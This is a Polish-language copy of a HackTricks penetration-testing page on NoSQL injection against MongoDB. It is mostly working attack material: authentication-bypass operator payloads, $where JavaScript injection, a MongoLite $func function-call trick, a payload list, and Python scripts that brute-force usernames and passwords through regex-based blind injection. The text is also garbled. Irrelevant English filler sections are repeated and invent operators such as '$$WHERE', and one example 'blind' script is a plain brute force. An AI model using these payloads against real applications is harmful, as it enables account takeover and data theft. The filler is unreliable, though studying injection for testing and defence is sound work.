hacktricks/pentesting-web/nosql-injection.md
2024-02-11 01:46:25 +00:00

23 KiB

Wstrzykiwanie NoSQL


Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społeczności.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wykorzystanie

W PHP można wysłać tablicę, zmieniając wysłany parametr z parameter=foo na parameter[arrName]=foo.

Wykorzystania opierają się na dodaniu Operatora:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Podstawowe obejście uwierzytelniania

Wykorzystanie operatora nierówności ($ne) lub większości ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

MongoDB is a popular NoSQL database that uses a document-oriented model. It is widely used in web applications and offers a flexible and scalable solution for storing and retrieving data.

NoSQL Injection

NoSQL injection is a type of attack that targets NoSQL databases, including MongoDB. It occurs when an attacker is able to manipulate a query in such a way that it bypasses authentication or gains unauthorized access to data.

Query Structure

In MongoDB, queries are structured using JSON-like syntax. The basic structure of a query consists of a collection name and a set of key-value pairs that define the search criteria.

db.collection.find({ key: value })

NoSQL Injection Techniques

NoSQL injection techniques are similar to SQL injection techniques, but they are adapted to the specific syntax and behavior of NoSQL databases. Here are some common techniques used in NoSQL injection attacks:

  1. Boolean-based Injection: This technique involves manipulating the query to return a different result based on the injected condition. For example, injecting a condition that is always true can bypass authentication.

  2. Time-based Injection: This technique involves injecting a delay into the query to determine if the injected condition is true or false. By measuring the response time, an attacker can infer information about the database.

  3. Union-based Injection: This technique involves injecting a query that combines the results of two or more queries. It can be used to extract data from multiple collections or tables.

  4. Error-based Injection: This technique involves injecting a query that triggers an error message. The error message can contain valuable information about the database structure or data.

Preventing NoSQL Injection

To prevent NoSQL injection, it is important to follow secure coding practices and implement proper input validation and sanitization. Here are some recommendations:

  1. Use Parameterized Queries: Parameterized queries can help prevent injection attacks by separating the query logic from the user input.

  2. Input Validation and Sanitization: Validate and sanitize user input to ensure that it conforms to the expected format and does not contain any malicious code.

  3. Least Privilege Principle: Limit the privileges of the database user to minimize the potential impact of an injection attack.

  4. Regular Updates and Patches: Keep the MongoDB server and drivers up to date with the latest security patches to protect against known vulnerabilities.

By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and ensure the security of your MongoDB database.

query = { $where: `this.username == '${username}'` }

Atakujący może wykorzystać to, wprowadzając ciągi znaków takie jak admin' || 'a'=='a, powodując zwrócenie wszystkich dokumentów przez zaspokojenie warunku z tautologią ('a'=='a'). Jest to analogiczne do ataków SQL injection, gdzie używane są dane wejściowe takie jak ' or 1=1-- - do manipulowania zapytaniami SQL. W MongoDB podobne wstrzyknięcia można wykonać przy użyciu danych wejściowych takich jak ' || 1==1//, ' || 1==1%00 lub admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Wyodrębnianie informacji o długości

NoSQL injection can also be used to extract information about the length of a field or a document. This can be useful when trying to gather information about the structure of the database or when performing blind injections.

To extract the length of a field, you can use the $where operator in MongoDB or the $$WHERE operator in CouchDB. Here is an example of how to do it in MongoDB:

http://example.com/api/users?username[$where]=this.username.length==16

In this example, we are injecting a condition that checks if the length of the username field is equal to 16. If the condition is true, the server will return the corresponding data. If the condition is false, the server will return an empty response.

To extract the length of a document, you can use the $regex operator in MongoDB or the $$REGEX operator in CouchDB. Here is an example of how to do it in MongoDB:

http://example.com/api/users?username[$regex]=.{16}

In this example, we are injecting a regular expression that matches any string with a length of 16 characters. If the regular expression matches, the server will return the corresponding data. If the regular expression does not match, the server will return an empty response.

By manipulating the injected condition or regular expression, you can extract information about the length of different fields or documents in the database. This can help you understand the structure of the database and gather valuable information for further exploitation.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Wyodrębnianie informacji data

NoSQL injection is a type of attack that targets NoSQL databases, which are non-relational databases that store data in a flexible, schema-less format. In a NoSQL injection attack, an attacker exploits vulnerabilities in the application's code to manipulate the database queries and extract sensitive information.

To extract data information from a NoSQL database, an attacker can use various techniques:

  1. Boolean-based technique: This technique involves injecting boolean-based queries to determine if a specific condition is true or false. By carefully crafting the injected queries, an attacker can extract data by exploiting the application's response.

  2. Time-based technique: In this technique, an attacker injects time delays into the queries to determine if a specific condition is met. By observing the response time of the application, the attacker can extract data based on the time taken to execute the query.

  3. Error-based technique: This technique involves injecting queries that intentionally cause errors in the application. By analyzing the error messages returned by the application, an attacker can extract data from the database.

  4. Union-based technique: In a union-based technique, an attacker injects queries that combine multiple result sets from different database tables. By manipulating the injected queries, the attacker can extract data from the database.

To protect against NoSQL injection attacks, it is important to implement proper input validation and sanitization techniques. Additionally, using parameterized queries or prepared statements can help prevent these types of attacks by separating the query logic from the user input. Regularly updating and patching the application and database software can also help mitigate the risk of NoSQL injection vulnerabilities.

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

MongoDB is a popular NoSQL database that uses a document-oriented model. It is widely used in web applications and offers a flexible and scalable solution for storing and retrieving data.

NoSQL Injection

NoSQL injection is a type of attack that targets NoSQL databases, including MongoDB. It occurs when an attacker is able to manipulate a query in such a way that it bypasses authentication or gains unauthorized access to data.

Query Structure

In MongoDB, queries are structured using JSON-like syntax. The basic structure of a query consists of a collection name and a set of key-value pairs that define the search criteria.

db.collection.find({ key: value })

NoSQL Injection Techniques

NoSQL injection techniques are similar to SQL injection techniques, but they are adapted to the specific syntax and behavior of NoSQL databases. Here are some common techniques used in NoSQL injection attacks:

  1. Boolean-based Injection: This technique involves manipulating the query to return a different result based on the injected condition. For example, injecting a condition that is always true can bypass authentication.

  2. Time-based Injection: This technique involves injecting a delay into the query to determine if the injected condition is true or false. By measuring the response time, an attacker can infer information about the database.

  3. Union-based Injection: This technique involves injecting a query that combines the results of two or more queries. It can be used to extract data from multiple collections or tables.

  4. Error-based Injection: This technique involves injecting a query that triggers an error message. The error message can contain valuable information about the database structure or data.

Preventing NoSQL Injection

To prevent NoSQL injection, it is important to follow secure coding practices and implement proper input validation and sanitization. Here are some recommendations:

  1. Use Parameterized Queries: Parameterized queries can help prevent injection attacks by separating the query logic from the user input.

  2. Input Validation and Sanitization: Validate and sanitize user input to ensure that it conforms to the expected format and does not contain any malicious code.

  3. Least Privilege Principle: Limit the privileges of the database user to minimize the potential impact of an injection attack.

  4. Regular Updates and Patches: Keep the MongoDB server and drivers up to date with the latest security patches to protect against known vulnerabilities.

By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and ensure the security of your MongoDB database.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Dowolne Wykonanie Funkcji

Korzystając z operatora $func biblioteki MongoLite (używanej domyślnie), istnieje możliwość wykonania dowolnej funkcji, jak w tym raporcie.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Pobierz informacje z różnych kolekcji

Możliwe jest użycie $lookup do pobrania informacji z innej kolekcji. W poniższym przykładzie odczytujemy z innej kolekcji o nazwie users i uzyskujemy wyniki wszystkich wpisów, których hasło pasuje do wzorca.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Użyj Trickest, aby łatwo tworzyć i automatyzować zadania zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Payloady MongoDB

Lista stąd

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Skrypt Blind NoSQL

Blind NoSQL to technika ataku polegająca na wykorzystaniu podatności w systemach NoSQL, które nie sprawdzają poprawności uwierzytelnienia. W przeciwieństwie do tradycyjnych ataków NoSQL, w których otrzymujemy konkretne dane, w przypadku ataku Blind NoSQL nie otrzymujemy bezpośrednich odpowiedzi. Zamiast tego, musimy polegać na analizie czasu odpowiedzi lub innych wskaźników, aby wywnioskować poprawność naszych zapytań.

Przykład ataku

Poniżej przedstawiono przykład ataku Blind NoSQL na bazę danych MongoDB:

const request = require('request');

function checkPassword(password) {
    const url = `http://example.com/api/login?username=admin&password=${password}`;
    request(url, function(error, response, body) {
        if (response.statusCode === 200) {
            console.log('Poprawne hasło');
        } else {
            console.log('Niepoprawne hasło');
        }
    });
}

function bruteForcePassword() {
    const characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    let password = '';

    for (let i = 0; i < 10; i++) {
        for (let j = 0; j < characters.length; j++) {
            const testPassword = password + characters[j];
            checkPassword(testPassword);
        }
    }
}

bruteForcePassword();

W powyższym przykładzie atakujący próbuje złamać hasło administratora, wysyłając zapytania do API logowania z różnymi kombinacjami znaków. Jeśli odpowiedź serwera ma kod stanu 200, oznacza to, że hasło jest poprawne. W przeciwnym razie, hasło jest niepoprawne.

Zabezpieczenia przed atakami Blind NoSQL

Aby zabezpieczyć się przed atakami Blind NoSQL, należy:

  • Sprawdzić, czy system NoSQL posiada mechanizmy uwierzytelniania i autoryzacji.
  • Upewnić się, że wszystkie zapytania są poprawnie walidowane i filtrowane.
  • Unikać korzystania z niezaufanych danych jako części zapytań.
  • Używać silnych i unikalnych haseł dla kont administratora.
  • Regularnie aktualizować oprogramowanie systemu NoSQL, aby uniknąć znanych podatności.

Podsumowanie

Ataki Blind NoSQL są skuteczną techniką wykorzystywaną przez hakerów do złamania systemów NoSQL. Aby zabezpieczyć się przed tymi atakami, należy odpowiednio zabezpieczyć systemy NoSQL i stosować dobre praktyki programistyczne.

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords from POST login

To jest prosty skrypt, który możesz zmodyfikować, ale wcześniejsze narzędzia również mogą wykonać to zadanie.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Narzędzia

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:


Użyj Trickest, aby łatwo tworzyć i automatyzować zadania przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.
Otrzymaj dostęp już dziś:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}